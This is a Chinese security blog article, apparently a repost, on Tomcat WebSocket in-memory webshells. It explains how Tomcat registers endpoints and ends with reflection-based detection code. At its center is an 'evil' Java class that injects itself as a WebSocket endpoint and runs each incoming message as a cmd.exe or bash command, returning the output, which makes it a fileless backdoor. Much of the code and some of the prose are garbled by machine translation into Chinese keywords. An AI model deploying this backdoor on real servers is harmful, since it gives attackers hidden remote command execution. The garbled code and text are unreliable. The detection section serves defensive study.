Tomcat WebSocket 内存马原理浅析
2022-11-22 09:10:34 Author: 编码安全研究(查看原文) 阅读量:19 收藏

周末和N1k0la师傅决定了这个repo:wsMemShell,来研究一番。
某大行动要开始了,希望此文能抛砖引玉,给师傅们带来一些启示。

Tomcat的WebSocket实现

Tomcat自7.0.2版本开始支持WebSocket,采用自定义API,即WebSocketServlet。
从2013年以后JSR356,Tomcat自7.0.47版本废弃了自定义的API,实现了Java WebSocket规范(JSR356)
根据代表JSR端和客户端的连接,建立WebSocket连接的服务器端和服务器端,每个服务器端可以连接通信端。WebSocket 3端和客户端的连接端,每个服务器端可以连接。WebSocket 5 端连接的客户端,客户端的客户端的Endpoint呼叫。端向服务端发送WebSocket招呼,建立连接后就创建一个对象。ServerEndpointClientEndpointServerEndpoint
ServerEndpoint和ClientEndpoint,有不同的生命周期事件(OnOpen、OnClose、OnError、OnMessage),不同的是ServerEndpoint作为服务器端点,可以指定一个URI路径供客户端连接,ClientEndpoint则没有。
端点对象的生命周期方法如下:
  • onOpen 当打开一个新的会话时:这是客户端与服务器成功调用的方法,调用于注解@OnOpen时。
  • onClose 关闭当会话时调用:关闭当注解@On。
  • onError:当链接过程中异常时调用。
  • onMessage:接收消息时触发。于注解@OnMessage。

服务端实现Endpoint的方式

服务器端的一种实现类,一种是注解方式,一种是继承类Endpoint有解方式@ServerEndpointEndpoint

注解方式:@ServerEndpoint

官方文档:ServerEndpoint (Java(TM) EE 7 Specification APIs)
一个@ServerEndpoint注解应该有以下元素:
  • value:必需,字符串类型,此端点部署的URI路径。
  • configurator:非必需,继承ServerEndpointConfig.Configurators之类,主要提供ServerEndpoint对象的创建扩展方式(如果使用TomcatWebSocket实现,默认是反射的创建ServerEndpoint对象)。
  • decoders:非必要,继承解码器的类,用户可以自定义一些消息解码器,的消息是一个对象,接收到消息可以自动解码封装成消息对象。
  • encoders:非,继承编码器的类,此终结者可以将使用的编码器类的排列方式,定义为解码器和编码器的好处规范使用层消息的传输。
  • subprotocols:非必需,String下一系列类型,用户在WebSocket协议自定义扩展一些子协议。
例句:
@ServerEndpoint ( = "/ ws /{userId}" , 编码器 = { MessageEncoder .class },解码= { MessageDecoder .class } , configurator = MyServerConfigurator .class )
@ServerEndpoint 可以注解到任何类上,但是想服务端的这些完整功能,还需要配合几个生命周期的实现解注使用,生命周期解解只能在解注方法上:
  • @OnOpen建立连接时触发。
  • @OnClose关闭连接时触发。
  • @OnError发生异常时触发。
  • @OnMessage接收到消息时触发。

继承抽象类:Endpoint

继承类Endpoint,几个生命周期,实现两个接口,比加注解方式更麻烦@ServerEndpoint
其中onMessage需要实现接口jakarta.websocket.MessageHandler,给端点分配URI路径需要实现接口jakarta.websocket.server.ServerApplicationConfig
URI pathencodersdecodersconfigurator等配置信息由jakarta.websocket.server.ServerEndpointConfig管理,默认实现jakarta.websocket.server.DefaultServerEndpointConfig
通过编程方式实现Endpoint,例如:
ServerEndpointConfig serverEndpointConfig = ServerEndpointConfig 生成器创建WebSocketServerEndpoint3.class /ws/{userId}” 解码器decoderList )。编码器encoderList )。配置器新的MyServerConfigurator ())。构建();

Tomcat WebSocket的加载

Tomcat 提供了一个javax.servlet.ServletContainerInitializer实现类org.apache.tomcat.websocket.server.WsSci
ServletContainer主要主要(SCI)是ServletContainerInitial(SCI)的一个接口,用于在容器启动时通过编程注册Filter、Servlet样式以及Listener,以在里面通过web.xml配置注册。这样就开发类的web应用框架。
具体可看:Servlet3.0研究之ServletContainerInitializer接口
Tomcat的 WebSocket 加载是通过相应的 SCI 机制完成的
WsSci 可以处理的类型有:
  • 添加了注解@ServerEndpoint的类
  • Endpoint的子类
  • ServerApplicationConfig 的实现类
Tomcat在Web应用程序启动会在StandardContext的startInternal方法中通过WsSci的onStartup方法初始化Listener和servlet,再扫描类路径下注解@ServerEndpoint的类和Endpoint子类
如果应用存在ServerApplicationConfig获取,则通过ServerApplicationConfigEndpoint子类的配置实现(ServerEndpointConfig实例,包含了请求路径等信息)和符合条件的注解类,通过调用addEndpoint将结果注册到WebSocketContainer上;如果当前应用没有定义ServerApplicationConfig的实现类,那么Sci默认只将所有扫描到的EndpointContainer。因此,注注册到Web必须添加方式定义Endpoint,然后ServerApplicationConfig实现。
然后启动内部方法里为ServletContext添加一个过滤器org.apache.tomcat.websocket.server.WsFilter,它用于判断当前请求是否为WebSocket请求,以便更方便(所以Tomcat都可以用java-memshell- scannerWsFilter)。

Tomcat WebSocket 内存马的实现

我们先来回顾一下servlet-api型内存马的实现步骤,拿Filter型的例子:
  1. 获取当前的StandardContext
  2. 创建有害过滤器
  3. 创建filterDef封装方法Filter对象,调用StandardContext.addFilterDef将filterDef添加到filterDefs
  4. 创建filterMap将URL和filter进行绑定,调用StandardContext.addFilterMapBefore方法将filterMap添加到filterMaps中
  5. 获取filterConfigs对象,其中添加filterConfig对象
插入的方法要获取过滤器,那么我们就需要在Tomcat过程启动中添加过滤器的方法,而filterDef、filterMap、filterConfigs都是StandardContext对象的,并且也有相应的add,那么我们就需要先获取StandardContext,再调用相应的方法。
WebSocket内存马也很类似,上一节提到了WsSci的onStartup扫描类路径下注解@ServerEndpoint的类和Endpoint子类,并调用addEndpoint方法注册到WebSocketContainer上。那么我们应该从WebSocketContainer出发,而WsServerContainer在StandardContext 在里面创建的,那么大的:
  1. 获取当前的StandardContext
  2. 通过 StandardContext 获取ServerContainer
  3. 定义一个有害类,并创建一个ServerEndpointConfig,给这个有害类分配URI路径
  4. 调用ServerContainer.addEndpoint方法,将创建的ServerEndpointConfig添加进去
ServerContainer 容器 = ( ServerContainer ) 请求获取ServletContext ()。getAttribute ( ServerContainer.class.getName ( ) ) ; _ 服务器端点配置=服务器端点配置生成器创建邪恶“/ws” )。构建();容器添加端点配置);

演示

将注入内存马的操作静态块,加载此类可实现的内存注入
邪恶的java:
导入 org.apache.catalina.core.StandardContext 导入 org.apache.catalina.loader.WebappClassLoaderBase 导入 org.apache.tomcat.websocket.server.WsServerContainer 导入 javax.websocket.* 导入 javax.websocket.server.ServerContainer 导入 javax.websocket.server.ServerEndpointConfig 导入 java.io.InputStream 公共 evil 扩展 Endpoint 实现 MessageHandler 整个< String > {
static {
WebappClassLoaderBase webappClassLoaderBase = ( WebappClassLoaderBase ) 线程当前线程()。getContextClassLoader ();
StandardContext 标准上下文 = ( StandardContext ) webappClassLoaderBase 获取资源()。获取上下文();
ServerEndpointConfig 构建 = 服务器端点配置生成器创建邪恶 “/邪恶” )。构建();
WsServerContainer 属性 = ( WsServerContainer ) 标准上下文获取ServletContext ()。getAttribute ( ServerContainer.class.getName ( ) ) ; _ 尝试{属性. 添加端点构建);// System.out.println("ok!"); }抓住

DeploymentException e ) {
throw new RuntimeException ( e );
}
}
私人 会话 会话
public void onMessage ( String message ) {
try {
boolean iswin = System . 获取属性“os.name” )。小写()。开始“窗口” );
进程 执行
if ( iswin ) {
exec = 运行时获取运行时间()。exec ( new String []{ "cmd.exe" , "/c" , message });
} 其他 {
执行 = 运行时获取运行时间()。exec ( new String []{ "/bin/bash" , "-c" , message });
}
输入 流 ips = exec 获取输入流();
StringBuilder sb = new StringBuilder ();
诠释 ;
while (( i = ips . read ()) != - 1 ) {
sb . 附加((字符) i );
}
知识产权关闭();
执行等待();
这个会话获取基本远程()。sendText (某人. toString ());
} 捕捉 异常 e {
e 打印堆栈跟踪();
}
}
@Override
public void onOpen ( Session session , EndpointConfig config ) {
this . 会话 = 会话
这个会话addMessageHandler (这个);
} }

效果:

WebSocket内存马的检测方法

addEndpoint之后可以在wsServerContainer里面查到config,ExactMatchMap属性里面找到Endpoint
实际的配置,就可以弄到这个configExMatch Map的东西然后可以调用getPath等到达端点的各种属性,就可以来判别是否为马
公共 同步 列表< ServerEndpointConfig > getEndpointConfigs ( HttpServletRequest request ) throws Exception {
ServerContainer sc = ( ServerContainer ) request 获取ServletContext ()。getAttribute ( ServerContainer.class.getName ( ) ) ; _ 字段_configExactMatchMap = sc 获取类()。getDeclaredField ( "configExactMatchMap" );

_configExactMatchMap 设置可访问);
ConcurrentHashMap configExactMatchMap = ( ConcurrentHashMap ) _configExactMatchMap 得到sc );
_ExactPathMatch = forName ( "org.apache.tomcat.websocket.server.WsServerContainer$ExactPathMatch" );
方法 _getconfig = _ExactPathMatch getDeclaredMethod ( "getConfig" );
_getconfig 设置可访问);
List < ServerEndpointConfig > configs = new ArrayList <>();
迭代器<地图. 条目<字符串 对象>> 迭代器 = configExactMatchMap 入口集()。迭代器();
while ( iterator . hasNext ()) {
Map . 条目<字符串 对象> 条目 = 迭代器下一个();
ServerEndpointConfig 配置 = ( ServerEndpointConfig ) _getconfig 调用条目。getValue ));
配置添加配置);
}
返回 配置}configs = getEndpointConfigs (请求); for ( ServerEndpointConfig cfg : configs ) {
系统出来println ( cfg.getPath ( ) ) System . 出来println ( cfg.getEndpointClass (). getName ( ) ) System . 出来println ( cfg.getEndpointClass ( ) . getClassLoader

()。获取类()。getName ())
系统. 出来println ( classFileIsExists ( cfg.getEndpointClass ( ) ) ) System . 出来println ( cfg.getEndpointClass (). getName ( ) ) System . 出来println ( cfg.getEndpointClass (). getName ( ) ))); }

上一篇:java-memshell-scanner
说句题外话:再说一句,用Tomcat启动WebSocket服务不是那么常见,发现有注册的Endpoint的话,蓝队们如果还需要谨慎对待。

参考

WebSocket内存马,一种新型内存马技术
Servlet3.0研究之ServletContainerInitializer接口
websocket之三:Tomcat的WebSocket实现-duanxz
WebSocket通信原理和在Tomcat中实现源码详解
来源先知(https://xz.aliyun.com/t/11566)
注:如有侵权请联系删除

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文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NDY1MDc2Mg==&mid=2247497652&idx=2&sn=7c6e19837332314115a31901af311b90&chksm=ce64a4d1f9132dc749a6f322c8624b728329fa8c42bddb6a192358e3ee361ae847a949cdf3ed#rd
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